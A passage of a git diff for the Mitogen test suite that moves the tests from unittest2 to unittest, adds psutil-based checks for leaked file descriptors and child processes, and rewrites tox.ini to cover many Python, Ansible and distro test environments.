FDs open by this process. - """ - import psutil - return psutil.Process().num_fds() - - def data_path(suffix): path = os.path.join(DATA_DIR, suffix) if path.endswith('.key'): @@ -103,6 +95,25 @@ if hasattr(subprocess.Popen, 'terminate'): Popen__terminate = subprocess.Popen.terminate +def threading__thread_is_alive(thread): + """Return whether the thread is alive (Python version compatibility shim). + + On Python >= 3.8 thread.isAlive() is deprecated (removed in Python 3.9). + On Python <= 2.5 thread.is_alive() isn't present (added in Python 2.6). + """ + try: + return thread.is_alive() + except AttributeError: + return thread.isAlive() + + +def threading_thread_name(thread): + try: + return thread.name # Available in Python 2.6+ + except AttributeError: + return thread.getName() # Deprecated in Python 3.10+ + + def wait_for_port( host, port, @@ -132,7 +143,7 @@ def wait_for_port( if not pattern: # Success: We connected & there's no banner check to perform. - sock.shutdown(socket.SHUTD_RDWR) + sock.shutdown(socket.SHUT_RDWR) sock.close() return @@ -315,13 +326,17 @@ class LogCapturer(object): return self.raw() -class TestCase(unittest2.TestCase): +class TestCase(unittest.TestCase): @classmethod def setUpClass(cls): # This is done in setUpClass() so we have a chance to run before any # Broker() instantiations in setUp() etc. mitogen.fork.on_fork() - cls._fd_count_before = get_fd_count() + cls._fds_before = psutil.Process().open_files() + # Ignore children started by external packages - in particular + # multiprocessing.resource_tracker.main()`, started when some Ansible + # versions instantiate a `multithreading.Lock()`. + cls._children_before = frozenset(psutil.Process().children()) super(TestCase, cls).setUpClass() ALLOWED_THREADS = set([ @@ -332,9 +347,11 @@ class TestCase(unittest2.TestCase): def _teardown_check_threads(self): counts = {} for thread in threading.enumerate(): - name = thread.getName() + name = threading_thread_name(thread) # Python 2.4: enumerate() may return stopped threads. - assert (not thread.isAlive()) or name in self.ALLOWED_THREADS, \ + assert \ + not threading__thread_is_alive(thread) \ + or name in self.ALLOWED_THREADS, \ 'Found thread %r still running after tests.' % (name,) counts[name] = counts.get(name, 0) + 1 @@ -346,10 +363,23 @@ class TestCase(unittest2.TestCase): def _teardown_check_fds(self): mitogen.core.Latch._on_fork() - if get_fd_count() != self._fd_count_before: - import os; os.system('lsof +E -w -p %s | grep -vw mem' % (os.getpid(),)) - assert 0, "%s leaked FDs. Count before: %s, after: %s" % ( - self, self._fd_count_before, get_fd_count(), + fds_after = psutil.Process().open_files() + fds_leaked = len(self._fds_before) != len(fds_after) + if not fds_leaked: + return + else: + if sys.platform == 'linux': + subprocess.check_call( + 'lsof +E -w -p %i | grep -vw mem' % (os.getpid(),), + shell=True, + ) + else: + subprocess.check_call( + 'lsof -w -p %i | grep -vw mem' % (os.getpid(),), + shell=True, + ) + assert 0, "%s leaked FDs: %s\nBefore:\t%s\nAfter:\t%s" % ( + self, fds_leaked, self._fds_before, fds_after, ) # Some class fixtures (like Ansible MuxProcess) start persistent children @@ -360,19 +390,39 @@ class TestCase(unittest2.TestCase): if self.no_zombie_check: return + # pid=0: Wait for any child process in the same process group as us. + # WNOHANG: Don't block if no processes ready to report status. try: pid, status = os.waitpid(0, os.WNOHANG) - except OSError: - return # ECHILD + except OSError as e: + # ECHILD: there are no child processes in our group. + if e.errno == errno.ECHILD: + return + raise if pid: assert 0, "%s failed to reap subprocess %d (status %d)." % ( self, pid, status ) - print('') - print('Children of unit test process:') - os.system('ps uww --ppid ' + str(os.getpid())) + children_after = frozenset(psutil.Process().children()) + children_leaked = children_after.difference(self._children_before) + if not children_leaked: + return + + print('Leaked children of unit test process:') + subprocess.check_call( + ['ps', '-o', 'user,pid,%cpu,%mem,vsz,rss,tty,stat,start,time,command', '-ww', '-p', + ','.join(str(p.pid) for p in children_leaked), + ], + ) + if self._children_before: + print('Pre-existing children of unit test process:') + subprocess.check_call( + ['ps', '-o', 'user,pid,%cpu,%mem,vsz,rss,tty,stat,start,time,command', '-ww', '-p', + ','.join(str(p.pid) for p in self._children_before), + ], + ) assert 0, "%s leaked still-running subprocesses." % (self,) def tearDown(self): @@ -409,7 +459,10 @@ class DockerizedSshDaemon(object): def _get_container_port(self): s = subprocess__check_output(['docker', 'port', self.container_name]) for line in s.decode().splitlines(): - dport, proto, baddr, bport = self.PORT_RE.match(line).groups() + m = self.PORT_RE.match(line) + if not m: + continue + dport, proto, _, bport = m.groups() if dport == '22' and proto == 'tcp': self.port = int(bport) @@ -421,7 +474,7 @@ class DockerizedSshDaemon(object): try: subprocess__check_output(['docker', '--version']) except Exception: - raise unittest2.SkipTest('Docker binary is unavailable') + raise unittest.SkipTest('Docker binary is unavailable') self.container_name = 'mitogen-test-%08x' % (random.getrandbits(64),) args = [ @@ -436,7 +489,7 @@ class DockerizedSshDaemon(object): subprocess__check_output(args) self._get_container_port() - def __init__(self, mitogen_test_distro=os.environ.get('MITOGEN_TEST_DISTRO', 'debian')): + def __init__(self, mitogen_test_distro=os.environ.get('MITOGEN_TEST_DISTRO', 'debian9')): if '-' in mitogen_test_distro: distro, _py3 = mitogen_test_distro.split('-') else: @@ -448,7 +501,7 @@ class DockerizedSshDaemon(object): else: self.python_path = '/usr/bin/python' - self.image = 'mitogen/%s-test' % (distro,) + self.image = 'public.ecr.aws/n5z0e8q9/%s-test' % (distro,) # 22/tcp -> 0.0.0.0:32771 self.PORT_RE = re.compile(r'([^/]+)/([^ ]+) -> ([^:]+):(.*)') @@ -519,7 +572,7 @@ class DockerMixin(RouterMixin): def setUpClass(cls): super(DockerMixin, cls).setUpClass() if os.environ.get('SKIP_DOCKER_TESTS'): - raise unittest2.SkipTest('SKIP_DOCKER_TESTS is set') + raise unittest.SkipTest('SKIP_DOCKER_TESTS is set') # we want to be able to override test distro for some tests that need a different container spun up daemon_args = {} diff --git a/tests/timer_test.py b/tests/timer_test.py index 749405a4..ff30c905 100644 --- a/tests/timer_test.py +++ b/tests/timer_test.py @@ -1,8 +1,4 @@ - -import time - import mock -import unittest2 import mitogen.core import mitogen.parent @@ -19,49 +15,49 @@ class TimerListMixin(object): class GetTimeoutTest(TimerListMixin, testlib.TestCase): def test_empty(self): - self.assertEquals(None, self.list.get_timeout()) + self.assertEqual(None, self.list.get_timeout()) def test_one_event(self): self.list.schedule(2, lambda: None) self.list._now = lambda: 1 - self.assertEquals(1, self.list.get_timeout()) + self.assertEqual(1, self.list.get_timeout()) def test_two_events_same_moment(self): self.list.schedule(2, lambda: None) self.list.schedule(2, lambda: None) self.list._now = lambda: 1 - self.assertEquals(1, self.list.get_timeout()) + self.assertEqual(1, self.list.get_timeout()) def test_two_events(self): self.list.schedule(2, lambda: None) self.list.schedule(3, lambda: None) self.list._now = lambda: 1 - self.assertEquals(1, self.list.get_timeout()) + self.assertEqual(1, self.list.get_timeout()) def test_two_events_expired(self): self.list.schedule(2, lambda: None) self.list.schedule(3, lambda: None) self.list._now = lambda: 3 - self.assertEquals(0, self.list.get_timeout()) + self.assertEqual(0, self.list.get_timeout()) def test_two_events_in_past(self): self.list.schedule(2, lambda: None) self.list.schedule(3, lambda: None) self.list._now = lambda: 30 - self.assertEquals(0, self.list.get_timeout()) + self.assertEqual(0, self.list.get_timeout()) def test_two_events_in_past(self): self.list.schedule(2, lambda: None) self.list.schedule(3, lambda: None) self.list._now = lambda: 30 - self.assertEquals(0, self.list.get_timeout()) + self.assertEqual(0, self.list.get_timeout()) def test_one_cancelled(self): t1 = self.list.schedule(2, lambda: None) t2 = self.list.schedule(3, lambda: None) self.list._now = lambda: 0 t1.cancel() - self.assertEquals(3, self.list.get_timeout()) + self.assertEqual(3, self.list.get_timeout()) def test_two_cancelled(self): t1 = self.list.schedule(2, lambda: None) @@ -69,30 +65,30 @@ class GetTimeoutTest(TimerListMixin, testlib.TestCase): self.list._now = lambda: 0 t1.cancel() t2.cancel() - self.assertEquals(None, self.list.get_timeout()) + self.assertEqual(None, self.list.get_timeout()) class ScheduleTest(TimerListMixin, testlib.TestCase): def test_in_past(self): self.list._now = lambda: 30 timer = self.list.schedule(29, lambda: None) - self.assertEquals(29, timer.when) - self.assertEquals(0, self.list.get_timeout()) + self.assertEqual(29, timer.when) + self.assertEqual(0, self.list.get_timeout()) def test_in_future(self): self.list._now = lambda: 30 timer = self.list.schedule(31, lambda: None) - self.assertEquals(31, timer.when) - self.assertEquals(1, self.list.get_timeout()) + self.assertEqual(31, timer.when) + self.assertEqual(1, self.list.get_timeout()) def test_same_moment(self): self.list._now = lambda: 30 timer = self.list.schedule(31, lambda: None) timer2 = self.list.schedule(31, lambda: None) - self.assertEquals(31, timer.when) - self.assertEquals(31, timer2.when) + self.assertEqual(31, timer.when) + self.assertEqual(31, timer2.when) self.assertTrue(timer is not timer2) - self.assertEquals(1, self.list.get_timeout()) + self.assertEqual(1, self.list.get_timeout()) class ExpireTest(TimerListMixin, testlib.TestCase): @@ -101,7 +97,7 @@ class ExpireTest(TimerListMixin, testlib.TestCase): self.assertTrue(timer.active) self.list._now = lambda: 30 self.list.expire() - self.assertEquals(1, len(timer.func.mock_calls)) + self.assertEqual(1, len(timer.func.mock_calls)) self.assertFalse(timer.active) def test_in_future(self): @@ -109,7 +105,7 @@ class ExpireTest(TimerListMixin, testlib.TestCase): self.assertTrue(timer.active) self.list._now = lambda: 28 self.list.expire() - self.assertEquals(0, len(timer.func.mock_calls)) + self.assertEqual(0, len(timer.func.mock_calls)) self.assertTrue(timer.active) def test_same_moment(self): @@ -119,8 +115,8 @@ class ExpireTest(TimerListMixin, testlib.TestCase): self.assertTrue(timer2.active) self.list._now = lambda: 29 self.list.expire() - self.assertEquals(1, len(timer.func.mock_calls)) - self.assertEquals(1, len(timer2.func.mock_calls)) + self.assertEqual(1, len(timer.func.mock_calls)) + self.assertEqual(1, len(timer2.func.mock_calls)) self.assertFalse(timer.active) self.assertFalse(timer2.active) @@ -128,11 +124,11 @@ class ExpireTest(TimerListMixin, testlib.TestCase): self.list._now = lambda: 29 timer = self.list.schedule(29, mock.Mock()) timer.cancel() - self.assertEquals(None, self.list.get_timeout()) + self.assertEqual(None, self.list.get_timeout()) self.list._now = lambda: 29 self.list.expire() - self.assertEquals(0, len(timer.func.mock_calls)) - self.assertEquals(None, self.list.get_timeout()) + self.assertEqual(0, len(timer.func.mock_calls)) + self.assertEqual(None, self.list.get_timeout()) class CancelTest(TimerListMixin, testlib.TestCase): @@ -143,7 +139,7 @@ class CancelTest(TimerListMixin, testlib.TestCase): timer.cancel() self.assertFalse(timer.active) self.list.expire() - self.assertEquals(0, len(timer.func.mock_calls)) + self.assertEqual(0, len(timer.func.mock_calls)) def test_double_cancel(self): self.list._now = lambda: 29 @@ -153,7 +149,7 @@ class CancelTest(TimerListMixin, testlib.TestCase): timer.cancel() self.assertFalse(timer.active) self.list.expire() - self.assertEquals(0, len(timer.func.mock_calls)) + self.assertEqual(0, len(timer.func.mock_calls)) @mitogen.core.takes_econtext @@ -195,7 +191,3 @@ class BrokerTimerTest(testlib.TestCase): finally: router.broker.shutdown() router.broker.join() - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/two_three_compat_test.py b/tests/two_three_compat_test.py index f30a233e..4490e5d2 100644 --- a/tests/two_three_compat_test.py +++ b/tests/two_three_compat_test.py @@ -1,11 +1,4 @@ - -import logging -import time - -import unittest2 - import mitogen.core -import mitogen.master import testlib import simple_pkg.ping @@ -25,9 +18,5 @@ class TwoThreeCompatTest(testlib.RouterMixin, testlib.TestCase): target = self.router.local(python_path=self.python_path) spare2, = target.call(simple_pkg.ping.ping, spare) - self.assertEquals(spare.context_id, spare2.context_id) - self.assertEquals(spare.name, spare2.name) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(spare.context_id, spare2.context_id) + self.assertEqual(spare.name, spare2.name) diff --git a/tests/types_test.py b/tests/types_test.py index 8e441c65..7c212b70 100644 --- a/tests/types_test.py +++ b/tests/types_test.py @@ -1,4 +1,3 @@ - import sys try: @@ -8,7 +7,7 @@ except ImportError: from StringIO import StringIO as StringIO from StringIO import StringIO as BytesIO -import unittest2 +import unittest import mitogen.core from mitogen.core import b @@ -29,26 +28,26 @@ class BlobTest(testlib.TestCase): def test_repr(self): blob = self.make() - self.assertEquals('[blob: 128 bytes]', repr(blob)) + self.assertEqual('[blob: 128 bytes]', repr(blob)) def test_decays_on_constructor(self): blob = self.make() - self.assertEquals(b('x') * 128, mitogen.core.BytesType(blob)) + self.assertEqual(b('x') * 128, mitogen.core.BytesType(blob)) def test_decays_on_write(self): blob = self.make() io = BytesIO() io.write(blob) - self.assertEquals(128, io.tell()) - self.assertEquals(b('x') * 128, io.getvalue()) + self.assertEqual(128, io.tell()) + self.assertEqual(b('x') * 128, io.getvalue()) def test_message_roundtrip(self): blob = self.make() msg = mitogen.core.Message.pickled(blob) blob2 = msg.unpickle() - self.assertEquals(type(blob), type(blob2)) - self.assertEquals(repr(blob), repr(blob2)) - self.assertEquals(mitogen.core.BytesType(blob), + self.assertEqual(type(blob), type(blob2)) + self.assertEqual(repr(blob), repr(blob2)) + self.assertEqual(mitogen.core.BytesType(blob), mitogen.core.BytesType(blob2)) @@ -60,26 +59,26 @@ class SecretTest(testlib.TestCase): def test_repr(self): secret = self.make() - self.assertEquals('[secret]', repr(secret)) + self.assertEqual('[secret]', repr(secret)) def test_decays_on_constructor(self): secret = self.make() - self.assertEquals('password', mitogen.core.UnicodeType(secret)) + self.assertEqual('password', mitogen.core.UnicodeType(secret)) def test_decays_on_write(self): secret = self.make() io = StringIO() io.write(secret) - self.assertEquals(8, io.tell()) - self.assertEquals('password', io.getvalue()) + self.assertEqual(8, io.tell()) + self.assertEqual('password', io.getvalue()) def test_message_roundtrip(self): secret = self.make() msg = mitogen.core.Message.pickled(secret) secret2 = msg.unpickle() - self.assertEquals(type(secret), type(secret2)) - self.assertEquals(repr(secret), repr(secret2)) - self.assertEquals(mitogen.core.b(secret), + self.assertEqual(type(secret), type(secret2)) + self.assertEqual(repr(secret), repr(secret2)) + self.assertEqual(mitogen.core.b(secret), mitogen.core.b(secret2)) @@ -88,30 +87,30 @@ class KwargsTest(testlib.TestCase): def test_empty(self): kw = self.klass({}) - self.assertEquals({}, kw) - self.assertEquals('Kwargs({})', repr(kw)) + self.assertEqual({}, kw) + self.assertEqual('Kwargs({})', repr(kw)) klass, (dct,) = kw.__reduce__() self.assertTrue(klass is self.klass) self.assertTrue(type(dct) is dict) - self.assertEquals({}, dct) + self.assertEqual({}, dct) - @unittest2.skipIf(condition=(sys.version_info >= (2, 6)), + @unittest.skipIf(condition=(sys.version_info >= (2, 6)), reason='py<2.6 only') def test_bytes_conversion(self): kw = self.klass({u'key': 123}) - self.assertEquals({'key': 123}, kw) - self.assertEquals("Kwargs({'key': 123})", repr(kw)) + self.assertEqual({'key': 123}, kw) + self.assertEqual("Kwargs({'key': 123})", repr(kw)) - @unittest2.skipIf(condition=not mitogen.core.PY3, + @unittest.skipIf(condition=not mitogen.core.PY3, reason='py3 only') def test_unicode_conversion(self): kw = self.klass({mitogen.core.b('key'): 123}) - self.assertEquals({u'key': 123}, kw) - self.assertEquals("Kwargs({'key': 123})", repr(kw)) + self.assertEqual({u'key': 123}, kw) + self.assertEqual("Kwargs({'key': 123})", repr(kw)) klass, (dct,) = kw.__reduce__() self.assertTrue(klass is self.klass) self.assertTrue(type(dct) is dict) - self.assertEquals({u'key': 123}, dct) + self.assertEqual({u'key': 123}, dct) key, = dct self.assertTrue(type(key) is mitogen.core.UnicodeType) @@ -125,24 +124,20 @@ class ToTextTest(testlib.TestCase): def test_bytes(self): s = self.func(mitogen.core.b('bytes')) - self.assertEquals(mitogen.core.UnicodeType, type(s)) - self.assertEquals(s, u'bytes') + self.assertEqual(mitogen.core.UnicodeType, type(s)) + self.assertEqual(s, u'bytes') def test_unicode(self): s = self.func(u'text') - self.assertEquals(mitogen.core.UnicodeType, type(s)) - self.assertEquals(s, u'text') + self.assertEqual(mitogen.core.UnicodeType, type(s)) + self.assertEqual(s, u'text') def test_adorned_unicode(self): s = self.func(AdornedUnicode(u'text')) - self.assertEquals(mitogen.core.UnicodeType, type(s)) - self.assertEquals(s, u'text') + self.assertEqual(mitogen.core.UnicodeType, type(s)) + self.assertEqual(s, u'text') def test_integer(self): s = self.func(123) - self.assertEquals(mitogen.core.UnicodeType, type(s)) - self.assertEquals(s, u'123') - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(mitogen.core.UnicodeType, type(s)) + self.assertEqual(s, u'123') diff --git a/tests/unix_test.py b/tests/unix_test.py index cf3e595f..aecc62ba 100644 --- a/tests/unix_test.py +++ b/tests/unix_test.py @@ -1,12 +1,9 @@ - import os import socket import subprocess import sys import time -import unittest2 - import mitogen import mitogen.master import mitogen.service @@ -98,12 +95,12 @@ class ClientTest(testlib.TestCase): def _test_simple_client(self, path): router, context = self._try_connect(path) try: - self.assertEquals(0, context.context_id) - self.assertEquals(1, mitogen.context_id) - self.assertEquals(0, mitogen.parent_id) + self.assertEqual(0, context.context_id) + self.assertEqual(1, mitogen.context_id) + self.assertEqual(0, mitogen.parent_id) resp = context.call_service(service_name=MyService, method_name='ping') - self.assertEquals(mitogen.context_id, resp['src_id']) - self.assertEquals(0, resp['auth_id']) + self.assertEqual(mitogen.context_id, resp['src_id']) + self.assertEqual(0, resp['auth_id']) finally: router.broker.shutdown() router.broker.join() @@ -148,5 +145,3 @@ class ClientTest(testlib.TestCase): if __name__ == '__main__': if len(sys.argv) == 3 and sys.argv[1] == 'ClientTest_server': ClientTest._test_simple_server(path=sys.argv[2]) - else: - unittest2.main() diff --git a/tests/utils_test.py b/tests/utils_test.py index a70b23dc..6c71d33c 100644 --- a/tests/utils_test.py +++ b/tests/utils_test.py @@ -1,13 +1,4 @@ -#!/usr/bin/env python - -import os -import tempfile - -import unittest2 -import mock - import mitogen.core -import mitogen.parent import mitogen.master import mitogen.utils from mitogen.core import b @@ -21,6 +12,7 @@ def func0(router): @mitogen.utils.with_router def func(router): + "Docstring of func" return router @@ -31,14 +23,18 @@ class RunWithRouterTest(testlib.TestCase): def test_run_with_broker(self): router = mitogen.utils.run_with_router(func0) self.assertIsInstance(router, mitogen.master.Router) - self.assertFalse(router.broker._thread.isAlive()) + self.assertFalse(testlib.threading__thread_is_alive(router.broker._thread)) class WithRouterTest(testlib.TestCase): def test_with_broker(self): router = func() self.assertIsInstance(router, mitogen.master.Router) - self.assertFalse(router.broker._thread.isAlive()) + self.assertFalse(testlib.threading__thread_is_alive(router.broker._thread)) + + def test_with_broker_preserves_attributes(self): + self.assertEqual(func.__doc__, 'Docstring of func') + self.assertEqual(func.__name__, 'func') class Dict(dict): pass @@ -98,7 +94,3 @@ class CastTest(testlib.TestCase): def test_unknown(self): self.assertRaises(TypeError, mitogen.utils.cast, set()) self.assertRaises(TypeError, mitogen.utils.cast, 4j) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tox.ini b/tox.ini index 8a4ef364..6b2addc7 100644 --- a/tox.ini +++ b/tox.ini @@ -1,44 +1,150 @@ +# This file is a local convenience. It is not a substitute for the full CI +# suite, and does not cover the full range of Python versions for Mitogen. + +# I use this on Ubuntu 20.04, with the following additions +# +# sudo add-apt-repository ppa:deadsnakes/ppa +# sudo apt update +# sudo apt install python3.5 python3.6 python3.7 python3.9 tox libsasl2-dev libldap2-dev libssl-dev ssh-pass + +# Last version to support each python version +# +# Python tox virt'env pip A cntllr A target coverage +# ========== ======== ======== ======== ======== ======== ======== +# python2.4 1.4 1.8 1.1 2.3? +# python2.5 1.6.1 1.9.1 1.3.1 ??? +# python2.6 2.9.1 15.2.0 9.0.3 2.6.20 2.13 4.5.4 +# python2.7 20.3 2.11 +# python3.5 2.11 +# python3.6 2.11 +# python3.7 2.11 + +# Ansible Dependency +# ================== ====================== +# ansible <= 2.9 +# ansible == 2.10.* ansible-base ~= 2.10.0 +# ansible == 3.* ansible-base ~= 2.10.0 +# ansible == 4.* ansible-core ~= 2.11.0 +# ansible == 5.* ansible-core ~= 2.12.0 + +# pip --no-python-version-warning +# pip --disable-pip-version-check + +# TODO distros=-py3 + [tox] envlist = init, - py26, - py27, - py35, - py36, - py37, + py{27,36}-mode_ansible-ansible{2.10,3,4}, + py{310}-mode_ansible-ansible{2.10,3,4,5}, + py{27,36,310}-mode_mitogen-distro_centos{6,7,8}, + py{27,36,310}-mode_mitogen-distro_debian{9,10,11}, + py{27,36,310}-mode_mitogen-distro_ubuntu{1604,1804,2004}, report, +requires = + tox-factor [testenv] -usedevelop = True +basepython = + py26: python2.6 + py27: python2.7 + py35: python3.5 + py36: python3.6 + py37: python3.7 + py38: python3.8 + py39: python3.9 + py310: python3.10 deps = - -r{toxinidir}/dev_requirements.txt - -r{toxinidir}/tests/ansible/requirements.txt - + -r{toxinidir}/tests/requirements.txt + mode_ansible: -r{toxinidir}/tests/ansible/requirements.txt + ansible2.3: ansible==2.3.3.0 + ansible2.4: ansible==2.4.6.0 + ansible2.8: ansible==2.8.3 + ansible2.9: ansible==2.9.6 + ansible2.10: ansible-base<2.10.14 + ansible2.10: ansible==2.10.0 + ansible3: ansible-base<2.10.14 + ansible3: ansible==3.4.0 + ansible4: ansible==4.8.0 + ansible5: ansible==5.0.1 +install_command = + python -m pip --no-python-version-warning --disable-pip-version-check install {opts} {packages} +commands_pre = + mode_ansible: {toxinidir}/.ci/ansible_install.py + mode_debops_common: {toxinidir}/.ci/debops_common_install.py + mode_localhost: {toxinidir}/.ci/localhost_ansible_install.py + mode_mitogen: {toxinidir}/.ci/mitogen_install.py commands = - {posargs:bash run_tests} -whitelist_externals = - bash + mode_ansible: {toxinidir}/.ci/ansible_tests.py + mode_debops_common: {toxinidir}/.ci/debops_common_tests.py + mode_localhost: {toxinidir}/.ci/localhost_ansible_tests.py + mode_mitogen: {toxinidir}/.ci/mitogen_tests.py +passenv = + ANSIBLE_* + AWS_ACCESS_KEY_ID + AWS_DEFAULT_REGION + AWS_SECRET_ACCESS_KEY + HOME setenv = + ANSIBLE_SKIP_TAGS = requires_local_sudo,resource_intensive + ANSIBLE_STRATEGY = mitogen_linear NOCOVERAGE_ERASE = 1 NOCOVERAGE_REPORT = 1 + # Only applicable to MODE=mitogen + distro_centos5: DISTRO=centos5 + distro_centos6: DISTRO=centos6 + distro_centos7: DISTRO=centos7 + distro_centos8: DISTRO=centos8 + distro_debian9: DISTRO=debian9 + distro_debian10: DISTRO=debian10 + distro_debian11: DISTRO=debian11 + distro_ubuntu1604: DISTRO=ubuntu1604 + distro_ubuntu1804: DISTRO=ubuntu1804 + distro_ubuntu2004: DISTRO=ubuntu2004 + # Note the plural, only applicable to MODE=ansible + distros_centos: DISTROS=centos6 centos7 centos8 + distros_centos5: DISTROS=centos5 + distros_centos6: DISTROS=centos6 + distros_centos7: DISTROS=centos7 + distros_centos8: DISTROS=centos8 + distros_debian: DISTROS=debian9 debian10 debian11 + distros_debian9: DISTROS=debian9 + distros_debian10: DISTROS=debian10 + distros_debian11: DISTROS=debian11 + distros_ubuntu: DISTROS=ubuntu1604 ubuntu1804 ubuntu2004 + distros_ubuntu1604: DISTROS=ubuntu1604 + distros_ubuntu1804: DISTROS=ubuntu1804 + distros_ubuntu2004: DISTROS=ubuntu2004 + mode_ansible: MODE=ansible + mode_debops_common: MODE=debops_common + mode_mitogen: MODE=mitogen + strategy_linear: ANSIBLE_STRATEGY=linear +whitelist_externals = + docker + docker-credential-secretservice + echo + gpg2 + pass [testenv:init] +basepython = python3 commands = coverage erase deps = - coverage + coverage==4.5.4 [testenv:report] +basepython = python3 commands = coverage html echo "coverage report is at file://{toxinidir}/htmlcov/index.html" deps = - coverage + coverage==4.5.4 whitelist_externals = echo [testenv:docs] -basepython = python +basepython = python3 changedir = docs commands = sphinx-build -W -b html -d {envtmpdir}/doctrees . {envtmpdir}/html